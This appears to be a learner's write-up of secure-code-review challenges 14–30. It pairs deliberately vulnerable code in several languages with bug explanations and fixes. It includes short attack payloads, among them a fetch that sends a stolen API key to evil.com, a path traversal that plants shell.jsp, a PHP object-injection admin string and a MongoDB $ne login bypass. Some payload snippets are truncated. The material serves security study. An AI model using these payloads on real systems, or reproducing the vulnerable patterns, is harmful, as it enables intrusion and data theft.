+## Challenge 14 + +```js +const express = require("express"); +const bodyParser = require("body-parser"); +const sqlite3 = require("sqlite3").verbose(); + +const app = express(); +app.use(bodyParser.json()); + +const db = new sqlite3.Database("/data/database.db"); +db.serialize(() => { + db.run( + "CREATE TABLE IF NOT EXISTS accounts (id INT PRIMARY KEY, balance INT)", + ); + db.run("INSERT OR IGNORE INTO accounts (id, balance) VALUES (1, 1000)"); + db.run("INSERT OR IGNORE INTO accounts (id, balance) VALUES (2, 1000)"); +}); + +app.post("/transfer", (req, res) => { + const { from, to, amount } = req.body; + + if ( + typeof from !== "number" || + typeof to !== "number" || + typeof amount !== "number" || + amount <= 0 + ) { + return res.status(400).json({ message: "Invalid input" }); + } + + db.get("SELECT balance FROM accounts WHERE id = ?", [from], (err, row) => { + if (!row) + return res.status(400).json({ message: "Invalid from account" }); + + if (row.balance < amount) + return res.status(400).json({ message: "Insufficient funds" }); + + db.run( + "UPDATE accounts SET balance = balance - ? WHERE id = ?", + [amount, from], + (err) => { + db.run( + "UPDATE accounts SET balance = balance + ? WHERE id = ?", + [amount, to], + (err) => { + res.status(200).json({ + message: "Transfer successful", + }); + }, + ); + }, + ); + }); +}); + +app.get("/balance/:id", (req, res) => { + db.get( + "SELECT balance FROM accounts WHERE id = ?", + [req.params.id], + (err, row) => { + if (!row) + return res.status(400).json({ message: "Invalid account" }); + + res.status(200).json({ balance: row.balance }); + }, + ); +}); + +app.listen(3000, () => console.log("Server running on port 3000")); +``` + +### Bug 1 + +The code has a logic bug in the form of a race condition/TOCTOU, which is caused by cases when a transfer is placed and something were to happen either from a speed standpoint or the server going down which could cause the funds to have been improperly moved. The fix to this situation is to introduce a rollback and state system where we ensure all behavior takes place before we commit the changes: + +```js +app.post("/transfer", (req, res) => { + const { from, to, amount } = req.body; + + if ( + typeof from !== "number" || + typeof to !== "number" || + typeof amount !== "number" || + amount <= 0 + ) { + return res.status(400).json({ message: "Invalid input" }); + } + + db.serialize(() => { + db.run("BEGIN EXCLUSIVE TRANSACTION", (err) => { + if (err) { + return res + .status(500) + .json({ message: "Failed to start transaction" }); + } + + db.get( + "SELECT balance FROM accounts WHERE id = ?", + [from], + (err, row) => { + if (err || !row) { + db.run("ROLLBACK"); + return res + .status(400) + .json({ message: "Invalid from account" }); + } + + if (row.balance < amount) { + db.run("ROLLBACK"); + return res + .status(400) + .json({ message: "Insufficient funds" }); + } + + db.run( + "UPDATE accounts SET balance = balance - ? WHERE id = ?", + [amount, from], + (err) => { + if (err) { + db.run("ROLLBACK"); + return res + .status(500) + .json({ message: "Database error" }); + } + + db.run( + "UPDATE accounts SET balance = balance + ? WHERE id = ?", + [amount, to], + (err) => { + if (err) { + db.run("ROLLBACK"); + return res + .status(500) + .json({ + message: "Database error", + }); + } + + db.run("COMMIT", (err) => { + if (err) { + db.run("ROLLBACK"); + return res + .status(500) + .json({ + message: + "Failed to commit transaction", + }); + } + + res.status(200).json({ + message: "Transfer successful", + }); + }); + }, + ); + }, + ); + }, + ); + }); + }); +}); +``` + +
+
+## Challenge 15 + +```nginx +events { + worker_connections 1024; +} + +http { + server { + listen 80; + server_name example.com; + + location / { + proxy_pass http://host.docker.internal:5000; + } + + location /payment { + return 302 http://payment-api$uri; + } + } +} +``` + +### Bug 1 + +The bug again is caused by nginx and how it performs path serialization, what this actually results in is the following `http://payment-api$uri;` value being able to get converted from something like `GET /payment/%2f%2e%2e%2f@evil.com HTTP/1.1` or `/@evil.com` because of the sanitization and normalization that Nginx performs. In order for this to be safe we should swap to `$request_uri`: + +```nginx +location /safe { + return 302 http://payment-api$request_uri; +} +``` + +
+
+## Challenge 16 + +```java +@WebServlet("/upload") +@MultipartConfig +public class FileUploadServlet extends HttpServlet { + + private static final long serialVersionUID = 1L; + + @Override + protected void doPost(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + + Part filePart = request.getPart("file"); + String fileName = filePart.getSubmittedFileName(); + + if (fileName.toLowerCase().endsWith(".jsp")) { + response.setContentType("text/html"); + PrintWriter out = response.getWriter(); + out.println("

Error: .jsp files are not allowed!

Go back

"); + return; + } + + String uploadDir = getServletContext().getRealPath("") + File.separator + "uploads"; + File uploadDirFile = new File(uploadDir); + if (!uploadDirFile.exists()) { + uploadDirFile.mkdir(); + } + + File file = new File(uploadDir, fileName); + try (InputStream fileContent = filePart.getInputStream(); + FileOutputStream outputStream = new FileOutputStream(file)) { + byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = fileContent.read(buffer)) != -1) { + outputStream.write(buffer, 0, bytesRead); + } + } + + response.setContentType("text/html"); + PrintWriter out = response.getWriter(); + out.println("

File Uploaded Successfully

"); + out.println("

File Name: " + fileName + "

"); + out.println("

Go back

"); + } +} +``` + +### Bug 1 + +`if (fileName.toLowerCase().endsWith(".jsp")) {` + +- This is very easily bypassed by the code and allows for attackers to trivially enter something like `exploit.jsp.png` + +### Bug 2 + +`File file = new File(uploadDir, fileName);` - The filename is user controlled which allows for path traversal since we control: `fileName`. This allows us to write directly to the web root for instant code execution - `../../../../webapps/ROOT/shell.jsp` + +### Bug 3 + +`getServletContext().getRealPath("") +"/uploads"` - Files are web-accessible, this allows for untrusted files such as exploitable files `.jsp`/`.jspx` to be uploaded and ran + +### Bug 4 + +`filePart.getContentType()` - This doesn't properly validate the input as such files that are polyglots or script files disguised as media files can be + +### Bug 5 + +`out.println("

File Name: " + fileName + "

");` + +- This is a stored XSS bug which will execute for any user viewing the success page + +```java +@WebServlet("/upload") +@MultipartConfig( + maxFileSize = 2 * 1024 * 1024, // 2 MB + maxRequestSize = 4 * 1024 * 1024, // 4 MB + fileSizeThreshold = 1024 * 1024 +) +public class SecureFileUploadServlet extends HttpServlet { + + private static final long serialVersionUID = 1L; + private static final Path UPLOAD_DIR = Paths.get("/var/app/uploads"); + private static final Set ALLOWED_MIME_TYPES = Set.of( + "image/png", + "image/jpeg", + "image/gif" + ); + + @Override + protected void doPost(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + + Part filePart = request.getPart("file"); + if (filePart == null || filePart.getSize() == 0) { + response.sendError(HttpServletResponse.SC_BAD_REQUEST, "No file uploaded"); + return; + } + + String contentType = filePart.getContentType(); // we use getContentType instead of checking last three chars + if (!ALLOWED_MIME_TYPES.contains(contentType)) { + response.sendError(HttpServletResponse.SC_UNSUPPORTED_MEDIA_TYPE, "Invalid file type"); + return; + } + + String extension = switch (contentType) { + case "image/png" -> ".png"; + case "image/jpeg" -> ".jpg"; + case "image/gif" -> ".gif"; + default -> ""; + }; + + String safeFilename = UUID.randomUUID() + extension; + + Files.createDirectories(UPLOAD_DIR); // validate upload directory exists + + Path destination = UPLOAD_DIR.resolve(safeFilename).normalize(); + + if (!destination.startsWith(UPLOAD_DIR)) { // remove travsal atk + response.sendError(HttpServletResponse.SC_FORBIDDEN); + return; + } + + try (InputStream in = filePart.getInputStream()) { + Files.copy(in, destination, StandardCopyOption.REPLACE_EXISTING); + } + + response.setContentType("text/plain"); // remove the stored XSS + response.getWriter().println("Upload successful"); + } +} +``` + +
+
+## Challenge 17 + +```go +package main + +import ( + "fmt" + "log" + "net/http" + "os/exec" +) + +func pingHandler(w http.ResponseWriter, r *http.Request) { + query := r.URL.Query() + ip := query.Get("ip") + + if ip == "" { + http.Error(w, "Please provide an IP address", http.StatusBadRequest) + return + } + + cmd := exec.Command("sh", "-c", fmt.Sprintf("ping -c 3 %s", ip)) + output, err := cmd.CombinedOutput() + if err != nil { + http.Error(w, fmt.Sprintf("Error executing command: %v", err), http.StatusInternalServerError) + return + } + + w.WriteHeader(http.StatusOK) + w.Write(output) +} + +func main() { + http.HandleFunc("/ping", pingHandler) + + fmt.Println("Server running on port 5000") + log.Fatal(http.ListenAndServe(":5000", nil)) +} +``` + +### Bug 1 + +- Gods most obvious command injection ngl gang + +
+
+## Challenge 18 + +```php +username = $username; + $this->role = $role; + } + + public function __toString() { + return "User: $this->username, Role: $this->role"; + } +} + +function isAdmin() { + if (isset($_SESSION['user']) && $_SESSION['user'] instanceof User) { + return $_SESSION['user']->role === 'admin'; + } + return false; +} + +if (isset($_POST['submit'])) { + $data = $_POST['data']; + $user = @unserialize($data); + if ($user === false && $data !== 'b:0;') { + echo "Failed to unserialize user. "; + } else { + $_SESSION['user'] = $user; + } +} + +if (isAdmin()) { + echo "Welcome to the admin page!"; +} else { + if (isset($_SESSION['user'])) { + if ($_SESSION['user'] instanceof User) { + echo 'Hello ' . $_SESSION['user']; + } else { + echo 'Hello, invalid user data!'; + } + } else { + echo "You need to log in to access this page."; + } +} +?> + +
+ + +
+``` + +### Bug 1 + +The bug here is a PHP object injection / unsafe deserialization exploit + +- Allows for auth bypass + The code lies in the line `$user = @unserialize($data);` which unserializes untrusted user input. This allows users to create arbitrary property values. In our case this breaks the auth since: + +```php +function isAdmin() { + if (isset($_SESSION['user']) && $_SESSION['user'] instanceof User) { + return $_SESSION['user']->role === 'admin'; + } + return false; +} +``` + +We are assuming the object was created by the application, and the role field is secure. + +A simple PoC would be +`O:4:"User":2:{s:8:"username";s:5:"attck";s:4:"role";s:5:"admin";}` + +Here the code ends up being bad since we can set the user role to `admin` + +### Bug 2 + +`echo 'Hello ' . $_SESSION['user'];` + +- This is a stored XSS bug + +
+
+## Challenge 19 + +```go +package main + +import ( + "html/template" + "log" + "net/http" + "os" +) + +type User struct { + Email string + Password string +} + +func (u *User) ReadUserFile(filename string) string { + data, _ := os.ReadFile(filename) + return string(data) +} + +func handler(w http.ResponseWriter, r *http.Request) { + user := &User{Email: "test@example.com", Password: "Password123!"} + tmpl := r.URL.Query().Get("tmpl") + + funcs := template.FuncMap{ + "ReadUserFile": func(filename string) string { + return user.ReadUserFile(filename) + }, + } + + t, err := template.New("page").Funcs(funcs).Parse(tmpl) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + + if err = t.Execute(w, user); err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + } +} + +func main() { + http.HandleFunc("/", handler) + log.Println("Server started at :5000") + log.Fatal(http.ListenAndServe(":5000", nil)) +} +``` + +### Bug 1 + +The bug here is a server-side template injection, if we look at the following code: + +```go +tmpl := r.URL.Query().Get("tmpl") // attacker provided template +t, err := template.New("page").Funcs(funcs).Parse(tmpl) +t.Execute(w, user) +``` + +- The full template comes from a query parameter, which gets executed server-side + - On top of that we expose the function `ReadUserFile` and runs as user which allows for more or less arbitrary code execution +- The `html/template` escapes the HTML and prevents against XSS but not template injection, it will auto-escape output but still fully evaluates + - function calls + - pipelines + - control structures + - method access + To make it safe we do the following: + +```go +type TemplateData struct { + Name string +} + +func handler(w http.ResponseWriter, r *http.Request) { + const tmpl = `

Hello {{.Name}}

` + + t, err := template.New("greet").Parse(tmpl) + if err != nil { + http.Error(w, "Template parsing error", http.StatusInternalServerError) + return + } + + name := r.URL.Query().Get("name") + if name == "" { + name = "Stranger" + } + + data := TemplateData{Name: name} + + // Render the template with the data + if err = t.Execute(w, data); err != nil { + http.Error(w, "Template execution error", http.StatusInternalServerError) + return + } +} +``` + +
+
+## Challenge 20 + +````java + @RestController + @RequestMapping("/files") + public class FileController { + + private final String fileBasePath = "/var/www/uploads/"; + + @GetMapping("/download") + public ResponseEntity downloadFile(@RequestParam String filename) throws IOException { + Path filePath = Paths.get(fileBasePath + filename); + + if (!Files.exists(filePath)) { + return ResponseEntity.status(HttpStatus.NOT_FOUND).body(null); + } + + Resource fileResource = new UrlResource(filePath.toUri()); + return ResponseEntity.ok() + .contentType(MediaType.APPLICATION_OCTET_STREAM) + .header(HttpHeaders.CONTENT_DISPOSITION, "attachment; filename=\"" + fileResource.getFilename() + "\"") + .body(fileResource); + } + + @GetMapping("/metadata") + public ResponseEntity getFileMetadata(@RequestParam String filename) throws IOException { + Path filePath = Paths.get(fileBasePath, filename); + + if (!Files.exists(filePath)) { + return ResponseEntity.status(HttpStatus.NOT_FOUND).body("File not found"); + } + + String metadata = String.format( + "File: %s%nSize: %d bytes%nLast Modified: %s", + filename, + Files.size(filePath), + Files.getLastModifiedTime(filePath) + ); + return ResponseEntity.ok(metadata); + } + } + +### Bug 1 + +The bug here is file path traversal since user controls input and there is no validation that it stays inside `/var/www/uploads/` + +``` java +public ResponseEntity downloadFile(@RequestParam String filename) throws IOException { + +Path filePath = Paths.get(fileBasePath + filename); +```` + +To fix this security bug we can do the two following things: + +1. The name should be validated alphanumeric, while the filetype/extension with an allow list +2. Canonicalize the result so we are sure we are in the base path + + File file = new File(fileBasePath + filename); + String absolutePath = file.getCanonicalPath(); + + if (!absolutePath.startsWith(fileBasePath)) { + // throw an exception and don't process the file + } + +
+
+## Challenge 21 + +```js +const express = require("express"); +const cookieParser = require("cookie-parser"); +const app = express(); +const PORT = 3000; + +app.use(cookieParser()); + +// For the sake of the challenge, imagine this comes from a database instead of being hardcoded +const users = { + admin: { + username: "admin", + apiKey: "", + }, +}; + +app.use((req, res, next) => { + const origin = req.get("Origin"); + if (origin) { + res.header("Access-Control-Allow-Origin", origin); + res.header("Access-Control-Allow-Credentials", "true"); + } + next(); +}); + +// Imagine this is a fully grown login +app.get("/mock-login", (req, res) => { + res.cookie("auth", users.admin.username, { + httpOnly: true, + secure: true, + sameSite: "none", + }); + return res.status(200).json({ message: "Login successful!" }); +}); + +app.get("/api-key", (req, res) => { + const username = req.cookies.auth; + + if (username && users[username]) { + return res.status(200).json({ data: users[username].apiKey }); + } + + return res.status(403).json({ message: "Unauthorized access!" }); +}); + +app.listen(PORT, () => { + console.log(`Running on http://localhost:${PORT}`); +}); +``` + +### Bug 1 + +This bug relates to the `Origin` header, since it's fully controlled by the client that means an attacker can also use it. After that the code breaks the trust system defined by Cross-Origin Resource Sharing - CORS. The problem that exists is we are allowing both + +- Reflected the user controlled Origin header +- Allowing credentials cookies to be valid in the reflected site +- No validation that origin requesting the data is secure or safe + These two headers combined allow sending authentication cookies cross-origin and allow JS on the attackers site to read the response body. + +This was a bit confusing to me so let me break it down, the first assumption we need to make is we have logged in admin account. If our logged in admin visits the attacker website and which does the following: + +```js +fetch("http://localhost:3000/api-key", { + credentials: "include", +}) + .then((r) => r.json()) + .then((d) => + fetch("https://evil.com/steal", { + method: "POST", + body: JSON.stringify(d), + }), + ); +``` + +The browser will see the following request: + + Origin: https://evil.com + Cookie: auth=admin + +For which the server will respond with the following: + + Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true + +Allowing the JS in the attackers website to read the following: + +```json +{ + "data": "" +} +``` + +
+
+## Challenge 22 + +```js +const express = require("express"); +const app = express(); + +// Imagine this to be a fully-grown database +const mockDb = { + users: [ + { username: "admin", password: "admin123" }, + { username: "user1", password: "password1" }, + ], +}; + +app.use(express.json()); + +app.post("/login", (req, res) => { + const { username, password } = req.body; + + const user = mockDb.users.find( + (u) => u.username === username && u.password === password, + ); + + if (user) { + res.send({ message: "Login successful!" }); + } else { + res.status(401).send({ error: "Invalid credentials" }); + } +}); + +app.post("/process-data", (req, res) => { + const { data } = req.body; + + try { + const result = eval(data); + res.send({ result }); + } catch (err) { + res.status(400).send({ error: "Invalid data" }); + } +}); + +app.listen(3000, () => { + console.log("Server running on http://localhost:3000"); +}); +``` + +### Bug 1 + +- We have command injection to execute arbitrary JS code thanks to the `eval` given the user controlled data being eval'd + +
+
+## Challenge 23 + +```java +package com.example.demoapp; + +import org.springframework.web.bind.annotation.*; +import java.lang.reflect.Method; + +@RestController +public class Controller { + + @GetMapping("/hello") + public String hello() { + NormalUser normalUser = new NormalUser(); + return normalUser.sayHello(); + } + + @GetMapping("/custom-hello") + public String customHello(@RequestParam String user) { + try { + Class clazz = Class.forName(user); + Method method = clazz.getMethod("sayHello"); + Object instance = clazz.getDeclaredConstructor().newInstance(); + Object result = method.invoke(instance); + + return result.toString(); + } catch (Exception e) { + return "Error invoking method: " + e.getMessage(); + } + } +} +``` + +### Bug 1 + +The exploit here is the fact that the GET request `/custom-hello` takes in the `user` variable from which we create a class, without any proper validation this variable allows an attacker to use the +`Class.forName(user);` to initialize other classes such as `AdminUser`. + +
+
+## Challenge 24 + +```python +from flask import Flask, request, render_template +from saxonche import PySaxonProcessor + +app = Flask(__name__, static_url_path='/static', static_folder='static') + +@app.route('/') +def index(): + return render_template('index.html') + +@app.route('/parse-xslt', methods=['POST']) +def parse_xslt(): + try: + if 'xslt_file' not in request.files: + return 'No file part', 400 + + xslt_file = request.files['xslt_file'] + xslt_content = xslt_file.read() + + with PySaxonProcessor(license=False) as proc: + xsltproc = proc.new_xslt30_processor() + xsltproc.set_cwd('.') + transformer = xsltproc.compile_stylesheet(stylesheet_text=xslt_content.decode()) + + with open('./resources/some.xml', 'rb') as xml_file: + xml_content = xml_file.read() + + document = proc.parse_xml(xml_text=xml_content.decode('utf-8')) + output = transformer.transform_to_string(xdm_node=document) + + if not output: + return "Successful but no output" + + return output + except Exception as e: + print(f"Error processing XSLT: {str(e)}") + return str(e), 500 + +if __name__ == '__main__': + app.run(debug=False, host='0.0.0.0') +``` + +### Bug 1 + +The exploit here is an XSLT based injection, in the code we are allowing users to provide untrusted and unvalidated XSLT that gets compiled and executed on the server with XML/XSLT engine. Here is an example of an exploit: + +```xml + + + + + + + +``` + +
+
+## Challenge 25 + +```go +package main + +import ( + "context" + "encoding/json" + "log" + "net/http" + + "go.mongodb.org/mongo-driver/bson" + "go.mongodb.org/mongo-driver/mongo" + "go.mongodb.org/mongo-driver/mongo/options" +) + +var client *mongo.Client + +type User struct { + Username string `json:"username"` + Password string `json:"password"` +} + +// Assume this to be a fully grown database +func initDB() { + users := client.Database("testdb").Collection("users") + if count, _ := users.CountDocuments(context.TODO(), bson.M{}); count == 0 { + users.InsertMany(context.TODO(), []interface{}{ + bson.M{"username": "admin", "password": "password"}, + bson.M{"username": "user", "password": "123456"}, + }) + } +} + +func login(w http.ResponseWriter, r *http.Request) { + var creds map[string]interface{} + if json.NewDecoder(r.Body).Decode(&creds) != nil { + http.Error(w, "Invalid request", http.StatusBadRequest) + return + } + + users := client.Database("testdb").Collection("users") + if users.FindOne(context.TODO(), creds).Err() != nil { + http.Error(w, "Invalid credentials", http.StatusUnauthorized) + return + } + + w.Write([]byte("Login successful")) +} + +func main() { + var err error + client, err = mongo.Connect(context.TODO(), options.Client().ApplyURI("mongodb://mongo:27017")) + if err != nil { + log.Fatal(err) + } + initDB() + http.HandleFunc("/login", login) + log.Fatal(http.ListenAndServe(":8080", nil)) +} +``` + +### Bug 1 + +The bug is a NoSQL injection / MongoDB operator injection that leads to an auth bypass + +```go +var creds map[string]interface{} +json.NewDecoder(r.Body).Decode(&creds) + +if users.FindOne(context.TODO(), creds).Err() != nil { + http.Error(w, "Invalid credentials", http.StatusUnauthorized) + return +} +``` + +- The user input is decoded into a generic `map[string]interface{}` + - The map is passed directly to FindOne as the query + - MongoDB treats the map as a query doc not as data +- This means the attacker controls the query logic, not just the values + This is a problem because MongoDB queries are JSON-based and support operators like +- \$ne +- \$gt / \$lt +- \$regex +- \$exists + An injection would look something like this: + +``` + { + "username": { "$ne": null }, + "password": { "$ne": null } + } +``` + +- This is read as: find a document where `username != null` and `password != null` allowing for an auth bypass since every user document matches + +
+
+## Challenge 26 + +```js +const express = require("express"); +const bodyParser = require("body-parser"); +const cookieParser = require("cookie-parser"); + +const app = express(); +app.use(bodyParser.json()); +app.use(cookieParser()); + +// Assume that this is a fully-grown database +let users = { + guest: { password: "guest", profile: "My cool profile" }, +}; + +function merge(target, source) { + for (let key in source) { + target[key] = source[key]; + } +} + +// Mock login function - just sets a cookie for "guest" (imagine this to be a fully-grown login functionality) +app.post("/guest-login", (req, res) => { + res.cookie("username", "guest", { httpOnly: true }); + res.json({ message: "Logged in as guest!" }); +}); + +app.post("/update-profile", (req, res) => { + let username = req.cookies.username; + if (!username || !users[username]) { + return res.status(401).json({ error: "Unauthorized" }); + } + + let user = users[username]; + merge(user, req.body); + + res.json({ message: "Profile updated", user }); +}); + +app.get("/admin", (req, res) => { + let user = users[req.cookies.username]; + if (user && user.isAdmin) { + return res.send("Welcome, Admin!"); + } + res.status(403).send("Access Denied"); +}); + +app.listen(3000, () => console.log("Server running on port 3000")); +``` + +### Bug 1 - Prototype pollution + +The function `merge()` doesn't validate that we are not using risky JS keywords that allow us to redefine the global object prototype. The general idea and primary idea is that we shouldn't be allowing for merge to take in untrusted user data but on top of that we should have prototype keywords otherwise we need to include filter: + +```js +function safeMerge(target, source) { + for (let key in source) { + if (key !== "__proto__" && key !== "constructor" && key !== "prototype") { + target[key] = source[key]; + } + } +``` + +### Bug 2 - Direct merge auth bypass + +We can use the merge function to also directly give ourselves admin `{"isAdmin": true}` + +What is merge()? It's a utility function that allows for copying of fields from one object into another. Which means we can generally update an existing JS object with new values + +something like this: `merge(user, { profile: "Updated bio" });` + +- which adds `user.profile = "Updated bio";` to user + +
+
+## Challenge 27 + +```c +#include +#include +#include + +#define FIXED_PRICE 1 // Price per item (in euros) + +int main(void) { + char input[64]; + + printf("Enter quantity of items: "); + if (!fgets(input, sizeof input, stdin)) { + puts("Error reading input."); + return 1; + } + + if (strchr(input, '-') != NULL) { + puts("Error: Quantity must be a positive number."); + return 1; + } + + unsigned int quantity = (unsigned int) strtoul(input, NULL, 10); + if (quantity == 0) { + puts("Error: Quantity must be greater than 0."); + return 1; + } + + unsigned int total_u = quantity * (unsigned int) FIXED_PRICE; + int total_s = (int) total_u; + + printf("Your entered quantity: %u\n", quantity); + printf("Fixed price per item is: %d euro\n", FIXED_PRICE); + printf("Total price: %d euros\n", total_s); + + return 0; +} +``` + +### Bug 1 + +The bug here is an integer overflow allowing for a negative quantity since it overflows and we have no validation on the `quantity` + +
+
+## Challenge 28 + +```nginx +events { + worker_connections 1024; + } + + http { + proxy_cache_path /data/nginx/cache keys_zone=STATIC:10m; + + server { + listen 80; + server_name example.com; + + location /static/ { + root /var/www/html/; + expires 30d; + } + + location ~* \.(css|js|jpg|png|gif)$ { + proxy_pass http://express-app:5000; + expires 30d; + proxy_cache STATIC; + proxy_cache_valid 200 1h; + proxy_cache_valid any 5m; + proxy_cache_use_stale error timeout updating http_500 http_502 http_503 http_504; + add_header X-Cached $upstream_cache_status; + } + + location / { + proxy_pass http://express-app:5000; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + } + } + } +``` + +### Bug 1 + +The primary issue in this case is the fact we are actually caching a webpage which isn't static and contains sensitive data which allows threat actors to use that to leak data. A simple fix would simply be to not use web caches in this case, on top of that we can limit what actually gets cached + +Before we talk more about bugs what actually is the nginx caching? + +- It is a reverse-proxy response cache +- This sits in front of your application and decides + +1. Should this request be forwarded to the backend? +2. Or can nginx serve a previously cached response instead? + Nginx will cache HTTP responses + +- request methods +- scheme +- Host +- URI + +```js +app.get("/profile*", (req, res) => { + if (!req.session.user) { + return res.redirect("/login"); + } + + const user = req.session.user; + const api_key = users_db[user].api_key; + + res.send(`${user} - API Key: ${api_key}`); +}); +``` + +- Every request reaches the backend +- req.session.user is evaluated per request +- responses are user-specific and private + +```nginx +proxy_cache my_cache; +proxy_cache_key "$scheme$request_method$host$request_uri"; +``` + +- /profile +- /profile/settings +- /profile?tab=api + +``` + alice - API Key: ALICE_SECRET_KEY +``` + +
+
+## Challenge 29 + +```python +from flask import Flask, request, jsonify +from flask_sqlalchemy import SQLAlchemy +import os + +app = Flask(__name__) +db_path = os.path.join(os.path.dirname(__file__), "invoices.db") +app.config["SQLALCHEMY_DATABASE_URI"] = f"sqlite:///{db_path}" +app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False +db = SQLAlchemy(app) + +class Invoice(db.Model): + id = db.Column(db.Integer, primary_key=True) + customer_name = db.Column(db.String(128)) + amount = db.Column(db.Float) + description = db.Column(db.String(255)) + paid = db.Column(db.Boolean, nullable=False, default=False) + + def to_dict(self): + return { + "id": self.id, + "customer_name": self.customer_name, + "amount": self.amount, + "description": self.description, + "paid": self.paid + } + +@app.route("/invoices", methods=["POST"]) +def create_invoice(): + data = request.json + invoice = Invoice(**data) + db.session.add(invoice) + db.session.commit() + return jsonify(invoice.to_dict()), 201 + +@app.route("/invoices", methods=["GET"]) +def list_invoices(): + invoices = Invoice.query.all() + return jsonify([i.to_dict() for i in invoices]) + +@app.route("/pay/", methods=["POST"]) +def mark_invoice_paid(invoice_id): + invoice = Invoice.query.get_or_404(invoice_id) + + # Imagine some proper payment logic here that allows you paying the invoice and, if successful, sets "paid" to "true" + invoice.paid = True + db.session.commit() + return jsonify({"message": f"Invoice {invoice_id} marked as paid."}) + +if __name__ == "__main__": + # For the whole app, imagine proper authentication and authorization to be in place + with app.app_context(): + db.create_all() + app.run(host="0.0.0.0", port=5000, debug=False) +``` + +### Bug 1 + +The bug is caused by the user controlled input from the `/invoice` POST request. This leads to + +```python +data = request.json +invoice = Invoice(**data) +``` + +It will convert every key the client sends in JSON and uses it to set fields on the `Invoice` model, this model included fields that directly relate to the security of the system like the following: +`paid = db.Column(db.Boolean, nullable=False, default=False)` + +- This means if we just include `"paid": true` in the POST body and create an invoice that is already marked paid bypassing whatever payment logic we intended to enforce in `/pay/id` + +### Bug 2 + +The `/pay/` endpoint also marks invoices paid with no verification + +- `invoice.paid = True` + This allows users to pay invoices they don't own, there is no validation regarding ownership of the invoice + +
+
+## Challenge 30 + +```go +package main + +import ( + "bytes" + "encoding/json" + "fmt" + "log" + "net/http" + + "github.com/SebastiaanKlippert/go-wkhtmltopdf" +) + +type Req struct { + Content string `json:"content"` +} + +func renderHandler(w http.ResponseWriter, r *http.Request) { + var req Req + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "Invalid JSON", 400) + return + } + + html := fmt.Sprintf(` + +

Company Report


+ %s +
Generated by Challenge 30 - PDF API
+ `, req.Content) + + pdfg, _ := wkhtmltopdf.NewPDFGenerator() + pdfg.AddPage(wkhtmltopdf.NewPageReader(bytes.NewReader([]byte(html)))) + if err := pdfg.Create(); err != nil { + http.Error(w, "PDF gen failed", 500) + return + } + + w.Header().Set("Content-Type", "application/pdf") + w.Write(pdfg.Bytes()) +} + +func main() { + http.HandleFunc("/render", renderHandler) + fmt.Println("Listening on http://localhost:5000") + log.Fatal(http.ListenAndServe(":5000", nil)) +} +``` + +### Bug 1 + +The bug that exists here is caused by the fact our endpoint takes untrusted HTML input and uses it directly in `wkhtmltopdf` (an HTML to PDF renderer). +This allows for server-side injection: + +```go +html := fmt.Sprintf(`... %s ...`, req.Content) +pdfg.AddPage(wkhtmltopdf.NewPageReader(bytes.NewReader([]byte(html)))) +``` + +- This can fetch and embed references to source such as + - `` + - `` + - `